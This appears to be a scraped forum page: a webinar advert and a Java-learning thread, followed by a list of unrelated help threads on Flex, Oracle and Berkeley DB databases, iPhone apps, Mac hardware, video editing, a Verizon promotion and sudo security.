What's your strategy for in-memory databases?

The recent Lattanze Center research study identified trends that you cannot afford to ignore.  Dr. Elliot King will present the latest research during an informative webinar entitled: u201CIn-Memory Database Adoption is Gaining Momentum.  Whatu2019s your strategy?u201D
For more information: http://bit.ly/kDpsfH 
When:                 June 2 at 10:30 AM PDT.
Duration:     45 Minutes
Cost:               Free
Location:          At your computer
Space is limited, so register now @ http://bit.ly/ilgFot
Besides learning about the latest trends within In-Memory Database technologies, youu2019ll also receive a free copy of a new White Paper, u201CMaking the Business Case for In-Memory Databasesu201D and the Executive Summary of the recent research from the Lattanze Center for Business Excellence.
Thursday, June 2, 10:30 AM PDT. Register now @ http://bit.ly/ilgFot  Space is limited!

Well, it seems like most of you simply read the
various texts and try the vendors' examples. I'm
surprised that no one mentioned ever having bought a
prototype application from the onset. "bought"? What's that mean? You don't buy prototypes. You download evaluation versions, maybe.
I try to find sample code and tweak it to see the effects. Otherwise, I start writing small sample code an build on that.
I consider myself a reasonably competent core Java
programmer, but I had serious difficulty configuring
and merging its related technologies. There were so
many disjointed pieces of instructional information
that the additional research time really hurt our
budget severely. Not an uncommon thing, I'm sure. There's a lot of stuff. But don't bother learning all of it. Not in detail, at least. It's a good idea to familiarize yourself with the names of packages/libraries and what they do. But only really learn what you need to learn for what you need to do. The next project you will probably need other things, so you learn them then.
bsampieri,
I've setup Tomcat and tried the examples--in fact, I
normally follow tutorials for all products I hope to
use. Problem is, the examples and tutorials never
address my specific needs. So, I usually inch toward
my goal by spending weeks or months in forums to
continue where the tutorials leave off. Anything complex is going to not be there.... the trick is to identify pieces that you can pull out to build more complex apps. And the fact that JSP/servlets have the issue of being compounded by all the HTML/CSS/JS and HTTP protocol ... I don't want to say limitiations, exactly... Well, it just makes things more complex and harder to know what you need.
Perhaps you guys are much faster and smarter than
I...or you have a much bigger budget :)Probably not... on either account.

Similar Messages

  • What is your strategy for form validation when using MVC pattern?

    This is more of a general discussion topic and will not necessarily have a correct answer. I'm using some of the Flex validator components in order to do form validation, but it seems I'm always coming back to the same issue, which is that in the world of Flex, validation needs to be put in the view components since in order to show error messages you need to set the source property of the validator to an instance of a view component. This again in my case seems to lead to me duplicating the code for setting up my Validators into several views. But, in terms of the MVC pattern, I always thought that data validation should happen in the model, since whether or not a piece of data is valid might be depending on business rules, which again should be stored in the model. Also, this way you'd only need to write the validation rules once for all fields that contain the same type of information in your application.
    So my question is, what strategies do you use when validating data and using an MVC framework? Do you create all the validators in the views and just duplicate the validator if the exact same rules are needed in some other view, or do you store the validators in the model and somehow reference them from the views, changing the source properties as needed? Or do you use some completely different strategy for validating forms and showing error messages to the user?

    Thanks for your answer, JoshBeall. Just to clarify, you would basically create a subclass of e.g. TextInput and add the validation rules to that? Then you'd use your subclass when you need a textinput with validation?
    Anyway, I ended up building sort of my own validation framework. Because the other issue I had with the standard validation was that it relies on inheritance instead of composition. Say I needed a TextInput to both check that it doesn't contain an empty string or just space characters, is between 4 and 100 characters long, and follows a certain pattern (e.g. allows only alphanumerical characters). With the Flex built in validators I would have to create a subclass or my own validator in order to meet all the requirements and if at some point I need another configuration (say just a length and pattern restriction) I would have to create another subclass which duplicates most of the rules, or I would have to build a lot of flags and conditional statements into that one subclass. With the framework I created I can just string together different rules using composition, and the filter classes themselves can be kept very simple since they only need to handle a single condition (check the string length for instance). E.g. below is the rule for my username:
    library["user_name"] = new EmptyStringFilter( new StringLengthFilter(4,255, new RegExpFilter(/^[a-z0-9\-@\._]+$/i) ) );
    <code>library</code> is a Dictionary that contains all my validation rules, and which resides in the model in a ValidationManager class. The framework calls a method <code>validate</code> on the stored filter references which goes through all the filters, the first filter to fail returns an error message and the validation fails:
    (library["user_name"] as IValidationFilter).validate("testuser");
    I only need to setup the rule once for each property I want to validate, regardless where in the app the validation needs to happen. The biggest plus of course that I can be sure the same rules are applied every time I need to validate e.g. a username.
    The second part of the framework basically relies on Chris Callendar's great ErrorTipManager class and a custom subclass of spark.components.Panel (in my case it seemed like the reasonable place to put the code needed, although perhaps extending Form would be even better). ErrorTipManager allows you to force open a error tooltip on a target component easily. The subclass I've created basically allows me to just extend the class whenever I need a form and pass in an array of inputs that I want to validate in the creationComplete handler:
    validatableInputs = [{source:productName, validateAs:"product_name"},
                         {source:unitWeight, validateAs:"unit_weight", dataField:"value"},
                   {source:unitsPerBox, validateAs:"units_per_box", dataField:"value"},
                        {source:producer, validateAs:"producer"}];
    The final step is to add a focusOut handler on the inputs that I want to validate if I want the validation to happen right away. The handler just calls a validateForm method, which in turn iterates through each of the inputs in the validatableInputs array, passing a reference of the input to a suitable validation rule in the model (a reference to the model has been injected into the view for this).
    Having written this down I could probably improve the View side of things a bit, remove the dependency on the Panel component and make the API easier (have the framework wire up more of the boilerplate like adding listeners etc). But for now the code does what it needs to.

  • What's your strategy for learning Java technologies?

    Or, in other words, how do YOU acquire knowledge that is necessary for implementing Java technologies?
    After having spent one-and-a-half years developing an enterprise app, I've gained lots of knowledge about Java and some surface knowledge about its related technologies (JBoss, Hibernate, Ant, XDoclet, NetBeans and probably some others I can't think of at the moment).
    I'm now realizing that -- although the standalone prototype version of my program is growing mature -- I've still got lots to learn for refactoring it to a web platform. For example, I 've done small test projects using Servlets, but haven't done any work with JSP (or HTML for that matter) yet.
    Now, I'm sure I can learn JSP etc., but the questions I ask myself are: how long will it take?
    It's a rhetorical question of course (I don't expect an answer from you, the reader) However, it's an important issue because the months or years I spend fumbling around learning these new technologies, are time I could otherwise spend on the business logic and functionality of my program.
    So, how do you guys acquire knowledge of technologies? Official training perhaps? Or do you simply experiment until it works? Or do you rely on your company's knowledge base (e.g. someone in your company knows how it works)? Or do you get prototypes built from someone who already knows how it works?
    I�m really curious about this and would appreciate your thoughts.
    Thanks in advance,
    P

    Well, it seems like most of you simply read the
    various texts and try the vendors' examples. I'm
    surprised that no one mentioned ever having bought a
    prototype application from the onset. "bought"? What's that mean? You don't buy prototypes. You download evaluation versions, maybe.
    I try to find sample code and tweak it to see the effects. Otherwise, I start writing small sample code an build on that.
    I consider myself a reasonably competent core Java
    programmer, but I had serious difficulty configuring
    and merging its related technologies. There were so
    many disjointed pieces of instructional information
    that the additional research time really hurt our
    budget severely. Not an uncommon thing, I'm sure. There's a lot of stuff. But don't bother learning all of it. Not in detail, at least. It's a good idea to familiarize yourself with the names of packages/libraries and what they do. But only really learn what you need to learn for what you need to do. The next project you will probably need other things, so you learn them then.
    bsampieri,
    I've setup Tomcat and tried the examples--in fact, I
    normally follow tutorials for all products I hope to
    use. Problem is, the examples and tutorials never
    address my specific needs. So, I usually inch toward
    my goal by spending weeks or months in forums to
    continue where the tutorials leave off. Anything complex is going to not be there.... the trick is to identify pieces that you can pull out to build more complex apps. And the fact that JSP/servlets have the issue of being compounded by all the HTML/CSS/JS and HTTP protocol ... I don't want to say limitiations, exactly... Well, it just makes things more complex and harder to know what you need.
    Perhaps you guys are much faster and smarter than
    I...or you have a much bigger budget :)Probably not... on either account.

  • What's your strategy for WebService errors that aren't raised through fault handler?

    Is there a way to underride the default functionality of
    WebService.as? I can't find the source code in the SDK, so I'm
    assuming this part of Flex isn't Open Source.
    I find that using WebServices that there are a lot of errors
    that potentially occur that I can't capture in the UI. Or, let me
    rephrase that, that I haven't been able to figure out how to
    capture in the UI.
    For example, the following "Could not load WSDL" error
    occurs. Now, I could probably devise a strategy around checking
    that the connection is alive and such, but then I've seen other
    errors that occur in the WebService base classes that are all fired
    asyncronously.
    Is there a way to add a default handler that capures these
    types of errors? (They're not captures by FaultHandlers).
    I can't have a UI that displays the big white box to end
    users with a stack trace. Thanks.
    [RPC Fault faultString="Could not load WSDL"
    faultCode="Server.NoServicesInWSDL" faultDetail="No
    <wsdl:service> elements found in WSDL at ."]
    at
    mx.rpc.wsdl::WSDL/getService()[E:\dev\flex_3_beta3\sdk\frameworks\projects\rpc\src\mx\rpc \wsdl\WSDL.as:256]
    at
    mx.rpc.wsdl::WSDL/getPort()[E:\dev\flex_3_beta3\sdk\frameworks\projects\rpc\src\mx\rpc\ws dl\WSDL.as:182]
    at mx.rpc.soap::WebService/
    http://www.adobe.com/2006/flex/mx/internal::wsdlHandler()[E:\dev\flex_3_beta3\sdk\framewor ks\projects\rpc\src\mx\rpc\soap\WebService.as:267
    at flash.events::EventDispatcher/dispatchEventFunction()
    at flash.events::EventDispatcher/dispatchEvent()
    at
    mx.rpc.wsdl::WSDLLoader/checkLoadsOutstanding()[E:\dev\flex_3_beta3\sdk\frameworks\projec ts\rpc\src\mx\rpc\wsdl\WSDLLoader.as:195]
    at
    mx.rpc.wsdl::WSDLLoader/resultHandler()[E:\dev\flex_3_beta3\sdk\frameworks\projects\rpc\s rc\mx\rpc\wsdl\WSDLLoader.as:173]
    at flash.events::EventDispatcher/dispatchEventFunction()
    at flash.events::EventDispatcher/dispatchEvent()
    at mx.rpc::AbstractInvoker/
    http://www.adobe.com/2006/flex/mx/internal::dispatchRpcEvent()[E:\dev\flex_3_beta3\sdk\fra meworks\projects\rpc\src\mx\rpc\AbstractInvoker.as:175
    at mx.rpc::AbstractInvoker/
    http://www.adobe.com/2006/flex/mx/internal::resultHandler()[E:\dev\flex_3_beta3\sdk\framew orks\projects\rpc\src\mx\rpc\AbstractInvoker.as:198
    at
    mx.rpc::Responder/result()[E:\dev\flex_3_beta3\sdk\frameworks\projects\rpc\src\mx\rpc\Res ponder.as:48]
    at
    mx.rpc::AsyncRequest/acknowledge()[E:\dev\flex_3_beta3\sdk\frameworks\projects\rpc\src\mx \rpc\AsyncRequest.as:81]
    at
    DirectHTTPMessageResponder/completeHandler()[E:\dev\flex_3_beta3\sdk\frameworks\projects\ rpc\src\mx\messaging\channels\DirectHTTPChannel.as:387]
    at flash.events::EventDispatcher/dispatchEventFunction()
    at flash.events::EventDispatcher/dispatchEvent()
    at flash.net::URLLoader/onComplete()

    I found out at FlexCOders, that when I'm not using the Debug
    version of the Player that these errors should correctly propogate
    to the Fault handler.

  • What  are the steps for merging of database files ?

    hi
    i have 23 datafiles in a tablespace .i want to merge these 23 datafiles into 4 to 5 datafiles.What are the steps for merging of database files
    Edited by: mithun on Oct 22, 2011 11:29 PM

    >
    i have 23 datafiles in a tablespace .i want to merge these 23 datafiles into no of
    small no of datafiles.What are the steps for merging of database filesYou didn't mention your Oracle version.
    See here for creating tablespaces http://www.adp-gmbh.ch/ora/sql/create_tablespace.html.
    You can specify as many (or as few) datafiles as you like.
    Then create tables in your new tablespace x_old_table_name(s) - you can Google this.
    Then select the data from old_table_name(s) into x_old_table_name(s).
    Drop old_table_name(s)
    Rename x_old_table_name(s) old_table_name(s).
    There may be a better way.
    Paul...

  • Queue access method for In-memory databases

    Hi,
    I am trying to use the Queue access method for an in-memory database
    with no backing file. Here is the how I've created the environment and
    the database.
    int env_flags_create = DB_CREATE | DB_INIT_LOG | DB_INIT_LOCK |
    DB_INIT_MPOOL |DB_INIT_TXN |
    DB_SYSTEM_MEM | DB_RECOVER | DB_THREAD ;
    ret = env->set_shm_key(env, 17);
    ret = env->open(env, R_"in-mem-env", env_flags, 0644);
    int db_flags = DB_CREATE | DB_THREAD | DB_AUTO_COMMIT;
    DB_MPOOLFILE *mpf = subs_db->get_mpf(subs_db);
    mpf->set_flags(mpf, DB_MPOOL_NOFILE, 1);
    ret = queue_db->set_re_len(queue_db, 512);
    ret = queue_db->open(queue_db, NULL, NULL, "queue", DB_QUEUE,
    db_flags, 0644);
    My application has one reader threads and one writer thread. The
    writer write to the queue with the "DB_APPEND" flag and the reader
    consumes the queue using the "DB_CONSUME_WAIT" flag.
    After inserting a few thousand messages the database fails to insert
    any new records and starts returning the following error.
    "unable to allocate space from the buffer cache"
    From the db_stat -e output (attached below) I can see that none of
    the buffer cache pages are ever being freed up.
    149907 Requested pages found in the cache (99%)
    3 Requested pages not found in the cache
    2004 Pages created in the cache
    0 Pages read into the cache
    0 Pages written from the cache to the backing file
    0 Clean pages forced from the cache
    0 Dirty pages forced from the cache
    0 Dirty pages written by trickle-sync thread
    2004 Current total page count
    0 Current clean page count
    2004 Current dirty page count
    4099 Number of hash buckets used for page location
    153851 Total number of times hash chains searched for a page
    BDB reference manual (http://www.oracle.com/technology/documentation/
    berkeley-db/db/api_c/frame.html) says that the pages associated with a
    queue can only be reclaimed by setting a queue extent by using the
    "set_q_extentsize" method. When I try to use this method on my in-
    memory database I get the following error.
    " Extent size may not be specified for in-memory queue database"
    Does this mean that I can never use the queue access method for in-
    memory database? Because no matter how big of a shared memory pool I
    allocate to the in-memory database it will eventually get used up by
    the queue (if I'm inserting and consuming records) and there is no way
    to free up the pages associated with the deleted records.
    thx
    nina

    As far as I know you can choose any method as long as print setting are set to "send to spool"
    Regards
    Juan

  • Hi Apple! My iphone 4g has restored and I can't retrieve the account. I have tried the password renewal that will be send on my mail but unfortunately my mail has been deactivated also.what is your solution for this kind of cases? This is so unfair.

    Hi Apple! My iphone 4g has restored and I can't retrieve the account. I have tried the password renewal that will be send on my mail but unfortunately my mail has been deactivated also.what is your solution for this kind of cases? This is so unfair.

    http://support.apple.com/kb/HT5312
    If you established a rescue email address, there will be a link on the "Passwords & Security" page of id.apple.com.  Clicking the link will send the reset to your rescue email address (NOTE:  This is not the same address as your Apple ID email)
    If there is no link on the page, then you didn't establish a rescue email address.  Contact AppleCare at 800.694.7466, and ask for account security.  You will need to answer some questions to verify your identity, AND you will need access to a computer to generate a temporary support pin.
    HTH

  • Hello, I would like to know what is your policy for higher educational institutes or with whom should I be in touch with? Thanks

    I would like to know what is your policy for higher educational institutes or with whom should I be in touch with?
    Thanks a lot for your help,

    Apple HED has no published email addresses, and since Apple does not sell their products directly in Israel, you will probably need to work through local distributors or dealers in any case. I would suggest contacting Apple's authorized distributor, iConGroup:
    http://www.icongroup.co.il
    Regards.

  • What is your solution for getting public transportation in map? Actually my iphone is useless for me because it hasn't a public transportation map.

    what is your solution for getting public transportation in map? Actually my iphone is useless for me because it hasn't a public transportation map.

    This has been a huge problem for me too. I was actually late to work yesterday and wanted to throw my phone out the window of the bus that I finally was able to find. I'm new to Portland, so this suddenly missing feature is particularly problematic. It really is so hard to avoid getting angry, I just can't believe they would eliminate a feature that people rely on so heavily. But anger doesn't do any good so I'm trying my hardest to stay calm and figure out an acceptable solution while Apple works to restore this feature - at least I pray to God that that's what they aim to do. Here are the apps that I've been trying, I'll try to explain how they work and maybe they will work for you. This is going to be a long post, but I'm hoping some people will find it helpful.
    I'll start with the most obvious of all - adding Google Maps to your homescreen. Every time you launch the app you will get a diaologue prompting you to allow Google Mpas to use your location, and then you will be in an environment that looks similiar to what we are used to. It does not integrate with your contact list, so one workaround I've been using is going to my contacts and holding my finger on an address to copy it to the clipboard. Be aware that leaving this web app will lose whatever you're looking at and go back to the start, so best to do this before you launch it. You'll notice some strange behavior - for instance the drop down menu of suggested locations will apear and then quickly disaprear, so just ignore this. Often it will often unexpectadly scroll to the top for some reason when you're trying to do something towards the bottom. Haven't figured out a fix except for trying to not get flustered and doing things slowly and deliberately. It's not as quick as we're used to anyway so this is not hard to do. If you'd like to see any of the suggested routes on a map you can do this by clicking the small 'Map View' link. Just be aware that you can only do this once or you will have to type in your starting an ending points again, as there is no way to go back to the list you were just looking at once you are in map view. One thing that I have found helpful about the Google maps method is when looking at a route, whether in list or map view, you can see the stop ID right there, which is helpful if your city has a way to check real-time arrivals. For instance here in Portland you can text this stop ID to a certain number and immediately receive real-time arrivals.
    The app I've been using most is called 'Transit'. It's pretty beautiful aesthetically, and the UI is simpler than anything else I've come across, which is convenient for a task that you want to accomplish as quickly as possible so you can put away your phone and be on your way. When you first launch it you're presented with three bus routes that stop near your current location. It tells you which direction the route is headed and in how many minutes the next bus is scheduled to arrive. This is helpful if you are familiar with that particular busline, otherwise there's no indication of where the line will take you. Upon clicking a line, you're presented with three buttons (again, loving the simplicity). One reverses the direction of that same busline. One expands the list of times so you can quicly see all the arrival times for that bus route at that particular stop for the entire day. The other takes you to map view and quickly displays the location of this stop. And here's the best feature of all (!!), it shows you the busline as a blue line and every single stop is marked with a circle. You can click on a circle and it displays the expected arrival time at that stop. This is all very helpful in some circumstances, but of course it does not let you type in a destination and have it build a route for you, and if you'll be transferring to another line this will not help you at all. To accomplish this you press the arrow in the lower left where you can type in a starting point, ending point, and an arrival/departure time. And this DOES reference your contact list. It will then allow you to quickly switch between three routes that it selects. It also searches Maps (actually it says 'Powered by Foursquare' for landmarks/establishments. For instance if I type in 'sushi', I'm presented with a handful of sushi joints in my area. There is a bug in this app where sometimes the 'Route' button is missing and you can only resolve this by leaving the app and quitting the process in the multitasking trail. When it builds your route, you can click on any point of transfer and it will tell you what time that bus/train is leaving. There is no list view, but personally I never found list view very helpful anyway. I know some people will disagree though.
    Now I'll talk about HopStop. This is a kind of clunky interface unfortunately, and also has ads which I can't stand. It is able to reference your contact list. My least favorite thing about this app is the list it gives you is so excessively long-winded it's hilarious. Every single stop along the route is listed in this list view, so you'll be scrolling through literally dozens of pages of useless information like 'Pass such-and-such - 1 min. Pass such-and-such - 1 min. Pass such and such - 2 min.' Oh well. The good news is on this insanely long list, it indicates when you are supposed to do something other than sit patiently in your seat by having an icon to the left of that instruction - either a person walking or a bus number. When you switch to list view unfortunately it no longer displays departure times, so you'll have to be switching betwen maps and list view. One great feature of this app is it lets you save routes to your favorite list. It also lets you find bus stops and quickly see what bus lines hit those stops. I can't stand the flashing advertisements, so I avoid using this at all costs.
    On to 'City Maps'. Again, the first thing you will see is a short list of bus lines that hit the stop nearest to you. Tap on one and it shows you the next three departures in either direction, as well as the distance between your current location and the stop in question. This app also searches for restaurants and such, but takes this feature on step further. Here when I type in 'sushi' and select a restaurant, I'm brought to a page that links to the Yelp, Foursquare, and Facebook pages associated with it - even has a link that takes you directly to the menu if Foursquare has it. Awesome feature, right?? Tap on 'Map' and it immediately displays the location and an option to build a few routes. It always displays the walking route below the bus lines to give you a sense of how long it would take (even if it's a two hour walk). Clicking on a bus route on this list takes you to list view. Unfortunately this also displays a deluge of pointess turns that only the bus driver need worry about, but it's not as bad as HopStop. There's an optional feature where it can display Google Street View images right in this list view, if you think that could be helpful. With one tap it quickly switches to a very aesthetically pleasig map view. There's an update button that lets you immediately refresh directions, edit starting/ending points, or give it new directions altogether.
    I'm sure in just a moment someone will come along and say something insulting about how we're blowing things out of proportion. I guess that's just the nature of trolls - a lot of people find being angry on forums while hiding behind their screen names cathartic for obvious reasons. Let's all of us just do our best to ignore these people and keep this discussion diplomatic and oriented towards helpful solutions. I know none of us want to give up our beloved iPhones, I'm only considering it as a last resort.

  • What's best strategy for dealing with 40+ hours of footage

    We have been editing a documentary with 45+ hours of footage and presently have captured roughly 230 gb. Needless to say it's a lot of files. What's the best strategy for dealing with so much captured footage? It's almost impossible to remember it all and labeling it while logging it seems inadequate as it difficult to actually read comments in dozens and dozens of folders.
    Just looking for suggestions on how to deal with this problem for this and future projects.
    G5 Dual Core 2.3   Mac OS X (10.4.6)   2.5 g ram, 2 internal sata 2 250gb

    Ditto, ditto, ditto on all of the previous posts. I've done four long form documentaries.
    First I listen to all the the sound bytes and digitize only the ones that I think I will need. I will take in much more than I use, but I like to transcribe bytes from the non-linear timeline. It's easier for me.
    I had so many interviews in the last doc that I gave each interviewee a bin. You must decide how you want to organize the sound bytes. Do you want a bin for each interviewee or do you want to do it by subject. That will depend on you documentary and subject matter.
    I then have b-roll bins. Sometime I base them on location and sometimes I base them on subject matter. This last time I based them on location because I would have a good idea of what was in each bin by remembering where and when it was shot.
    Perhaps, you weren't at the shoot and do not have this advantage. It's crucial that you organize you b-roll bins in a way that makes sense to you.
    I then have music bins and bins for my voice over.
    Many folks recommend that you work in small sequences and nest. This is a good idea for long form stuff. That way you don't get lost in the timeline.
    I also make a "used" bin. Once I've used a shot I pull it out of the bin and put it "away" That keeps me from repeatedly looking at footage that I've already used.
    The previous posts are right. If you've digitized 45 hours of footage you've put in too much. It's time to start deleting some media. Remember that when you hit the edit suite, you should be one the downhill slide. You should have a script and a clear idea of where you're going.
    I don't have enough fingers to count the number of times that I've had producers walk into my edit suite with a bunch of raw tape and tell me that that "want to make something cool." They generally have no idea where they're going and end up wondering why the process is so hard.
    Refine your story and base your clip selections on that story.
    Good luck
    Dual 2 GHz Power Mac G5   Mac OS X (10.4.8)  

  • WHAT IS BEST STRATEGY FOR RMAN BACKUP CONFIGURATION

    Hi all,
    my database size is 50GB I want TAKe WEEKLY FULL BACKUP AND INCREMENTAL BACKUP
    WITHOUT RECOVERY CATALOG.by follwing commands
    weekly full database backup
    run
    backup as compressed backupset
    incremental level=0
    device type disk
    tag "weekly_database"
    format '/sw/weekly_database_%d_t%t_c%c_s%s_p%p'
    database;
    I want do CONFIGURE RMAN BY FOLLWING stragtegy
    CONFIGURE RETENTION POLICY TO REDUNDANCY window of 14 days.
    CONFIGURE BACKUP OPTIMIZATION OFF;
    CONFIGURE CONTROLFILE AUTOBACKUP ON;
    CONFIGURE CONTROLFILE AUTOBACKUP FORMAT FOR DEVICE TYPE DISK TO
    '\SW\AUTOCFILE_'%F';
    and other is by default
    sql>alter system set control_file_record_keep_time=15 days;
    os--aix6 and for two database 10g2 and 11g2
    what is best configuration strategy for rman backup.AND BACKUP WITH RECOVERY CATALOG OR WITHOUT RECOVERY CATALOG
    PLEASE TELL ME
    Edited by: afzal on Feb 26, 2011 1:45 AM

    For simply two databases, there really wouldn't be a need for a recovery catalog. You can still restore/recover without a controlfile and without a recovery catalog.
    From this:
    afzal wrote:
    CONFIGURE RETENTION POLICY TO REDUNDANCY window of 14 days.I am assuming you want to keep two weeks worth of backups, therefore these:
    alter system set control_file_record_keep_time=15 days;
    CONFIGURE RETENTION POLICY TO REDUNDANCY window of 14 daysShould be:
    RMAN> sql 'alter system set control_file_record_keep_time=22';
    RMAN> CONFIGURE RETENTION POLICY TO RECOVERY WINDOW OF 14;22 would give you that extra layer of protection for instances when a problem occurs with a backup and you want to ensure that data doesn't get aged out.

  • Index-building strategy for multi-terabyte database

    Running 11g.
    We have about 17 million XML files to load into a brand new database. They are to be indexed with a context index. After the 17 million records are imported, there will be future imports of approximately 30,000 records every two weeks, loaded in batch.
    1. What is the best way to load the 17 million? Should they be loaded in chunks, say 1 M at a time, and then indexed? Or load them all, then index them all at once? (Based on preliminary tests the initial load will take 9 days and the indexing will take a little under 7 days.)
    I vote for doing it in chunks, since the developers will want access to the system periodically during the data load and I want to be able to start and stop the process without causing a catastrophe.
    But I have read that this can introduce fragmentation into the index. Is this really something to worry about, given that my chunks are so large? Would there be any real benefit from doing the entire index operation in one go?
    2. After each of the bi-weekly 30,000-record imports, we will run CTX_DDL.SYNC_INDEX which I estimate will take about 20 minutes to run. Will this cause fragmentation over time? I have read that it is advisable to perform a full index rebuild occasionally but obviously we won't want to do that; that would take days and days. I guess the alternative is to run OPTIMIZE_INDEX
    http://download.oracle.com/docs/cd/B28359_01/text.111/b28304/cddlpkg.htm#i998200
    ...any advice on how often to run this, considering the hugeness of my dataset? Fortunately the data will be read-only (apart from the bi-weekly load), so I'm thinking that there won't be very much fragmentation occurring at all. Am I correct?

    There are two types of fragmentation, one during index creation and one during additional loads. The first can be minimised with some tweaking, the second should not be a big issue because there are only 26 additional loads in one year in.
    1)
    You will not have any issues loading the XML and index them using Oracle Text as long you use a sensible partitioning. Index the whole dataset in one go, the parallel clause works very well during indexing. Have a look at the initial memory allocation for every thread what is created, I found the default values in 10g and 9i are far too small. When you use 100 partitions it will create 100 Oracle text indexes, nothing to be scared off. More partitions you use, less index memory is required for each thread, but it adds to fragmentation.
    You can reduce the initial indexing time and fragmentation in various ways:
    Use parallel indexing and partitioning, I used 6 threads over 25 partitions and it reduced time to index 8 millions XML documents from 2 days to less than 12 hours (XML documents as clobs using a user_datastore).
    Tweak indexing memory to your requirements, somehow it is more memory than CPU bound. More memory you use less fragmentation occurs and it will finish earlier.
    Use a representative list of stop words. For this I use to query the DR$...I tables directly (query is out my head)
    SELECT token_text, SUM(token_count) total
    FROM DR$...I
    WHERE UPPER(token_text) = tokent_text – remove XML tags
    ORDER BY total DESC
    Have a look at the top entries if you can include them into the stop word list; they will cause trouble later on when querying the index.
    2) We found an index rebuild (drop/create) useful for following scenario, but this more a feeling than solid science
    1 million XML records, daily loads of around 1 thousand records with many updates => quarterly rebuilds
    8 million XML records, bi-weekly loads of around 20 thousand records with very few updates => once a year or so.

  • CI have a macbook 2.1 with 1GB of memory.  What are my options for adding memory s I can upgrade to Lion?  (I am running 10.5.8 now) and to icloud. I ve never been able to backup to idisk because of lack of memory also.

    I have a macbook 2.1 with 1GB of memory.  I have two issues- both related to lack of sufficient memory.  Issue#1 is upgrade to LION requires more memory than I have and I d  like to upgrade.  Issue 2 is that when ever i try to backup to idisk  I get a message telling me I need to remove some files from my start up disk to make room.   I don t know what I can remove without creating problems.  So  I think I need to add memory.  Is this possible?

    These are good online stores for Mac compatible RAM
    OWC http://eshop.macsales.com/shop/memory/MacBook/DDR2/ - Similar to DMS, they offer Mac tested RAM at very good prices.
    Crucial Memory http://www.crucial.com/ - good place to buy RAM from all over the world. They also have an excellent memory selector that allows you to choose memory based on your computer's model
    Data Memory Systems http://www.datamemorysystems.com/apple-memory.asp - another good, cheap place to buying RAM if you live in the U.S.
    Macdimms.com - Specializes in supplying Mac compatible RAM at extremely competitive prices. Brands featured include Crucial, Samsung, Hynix, and Micron. All brands carry a lifetime warranty. Discounts offered to educational institutions and students, active and retired military, resellers, and government agencies.
      Here are instructions on replacing RAM in a MacBook with a removable battery. http://homeoffice.consumerelectronicsnet.com/articles/viewarticle.jsp?id=44404
    If you don’t have the tools to open up the MacBook OWC has a set for $5
    http://eshop.macsales.com/item/OWC/TOOLKITMHD/
    You can put two 2gb RAM sticks in your model 2,1 but it can only use 3,3gb. This is a hardware limitation and cannot be changed.
    http://en.wikipedia.org/wiki/3_GB_barrier
    http://www.everymac.com/systems/apple/macbook_pro/faq/macbook-pro-core-2-duo-3-g b-memory-limitation-details.html
    OWC tests have found that there is a slight speed increase with having two 2gb sticks in rather than one 1gb and one 2gb. Your model is in the gray lines at the bottom of the graph. http://eshop.macsales.com/shop/Memory_Benchmark/Apple_MacBook/
    You can upgrade to 10.6 with no problems. Any program that runs under 10.5 will run under10.6. You might have to upgrade some drivers for printers, etc.... And you will have to install Rosetta if you have any Power PC applications http://www.macobserver.com/tmo/article/snow_leopard_installing_rosetta/  
    To upgrade your iLife and iWork. If you only want iPhoto or other single apps from iLife '11 you can get them from the App Store after you've upgraded to 10.6.6. iPhoto, iMovie or Garage Band for $15 each and Pages, Keynote or Numbers from iWork '09 for $20 each.
    You can order a Snow Leopard 10.6 install disk for $29 as long as you have at least1gb of RAM and 5gb of free space on your hard drive. http://store.apple.com/us/product/MC573Z/A?mco=MTY3ODQ5OTY
    Once you are at 10.6.8 you can buy Lion for $29 from the App Store if you have at least a model 2,1 MacBook. Lion will require at least 2gb of RAM but really needs 4gb to run smoothly. Also Lion doesn't run any Power PC programs. To see if you have any Power PC programs go to the Apple in the upper left corner and select About This Mac, then click on More Info. When System Profiler comes up select Applications under Software. Then look under Kind to see if any of your applications are listed as Power PC. Universal and Intel will run under Lion.
      Before Mac switched to Intel processors they used Power PC processors from 1994 to 2005. Power PC 601 through 604, G3, G4 and G5. Applications written for the Power PC processors need the application called Rosetta to run on Intel processors. This was part of the Operating System in 10.4 and 10.5 but was an optional install in 10.6. With 10.7 Lion Apple dropped all support for Power PC applications.

  • Can You Offer Clarity - Who, What, When Your Eligible for Promotional Refund

    In our town we have two retailers which are literally blocks mile from each other; Verizon Wireless 76 Dodge St., 01915 and Verizon Wireless at 136 Dodge St., 01915.  I'm sifting through the VWZ website to better understand the promotion and to better understand given the information shared at "Verizon Wireless 136 Dodge St....".
    I've been a customer of VWZ for years and have opted not to go to 76 Dodge St. given the years of poor customer service experience at that particular location and return to 136 Dodge St given their great customer service.  Now I read your posting as I comb through the readings to learn more about the promotion to help better understand who, what and under what circumstances you are eligible to receive the promotional upgrade. 
    I only went to the store today given the VWZ website did not allow me to change my plan to from nationwide to single place and pre-order the phone.  My frustration mounted when I went to the store I was at today stated VWZ "misinformed the public..." and the $200 upgrade really should really have read, "...receive up to a $200 refund..." -- that is, I would only receive the cost of the appraised value of the iPhone 4S which is only know after I submit the item to VWZ.  Here I read this post which you indicate it's only available at "Verizon Wireless" which leaves be baffled - does this include authorized retailers who print receipts stating "Verizon Wireless, 136 Dode St... or what?  The only reason why I remained with VMZ (it wasn't for the customer service), was the promotional offer and the new single plan being offered.  If this is not the case, I like to void this order (which I won't be surprised I'll be charged) and start shopping around at other carriers.  I admit this promotional offering is very clear with no clear indication on who, what and under what circumstance you are eligible and the cost you will encounter.

    nickleu wrote:
    i've never pay close attention to this problem,until one day i open a terminal and type
    sudo su
    ,and i jumped to a root session without any problem.
    I mean, isn't it stupid that someone who has my user password can easily get my root access? What is my long, complex root password for?
    Later on I even think of more cases where I can jump to a root session with just my user password.---sudo vim ; sudo bash,eg.
    Google around and search arch forum didn't give me much.
    BTW, I just went across this Linux Journal passage http://www.linuxjournal.com/content/sto … r-password. there is a comment claiming that sudo is not safe.
    Anonymous from LinuxJournal wrote: su is a perfectly safe command, sudo is not. When you have work to do, you don't (or shouldn't) have time to find that sudo isn't configured for what you need to do- or worse, that it's misconfigured and you have a glaring security hole on your server. This happens everyday.
    So how do you guys think?
    I think NOEXEC is the sudo option you're looking for. It prevents sudo processes from spawning child processes, which may or may not be a shell. Use it in conjunction with a specific, known-to-be-secure command line, and you can mitigate the problem you're talking about. Personally, I don't use su nor sudo anymore. Instead I log into my passwordless root account from another TTY, which getty permits by default. su and ssh deny access to passwordless accounts, so I don't really see it as a security problem.
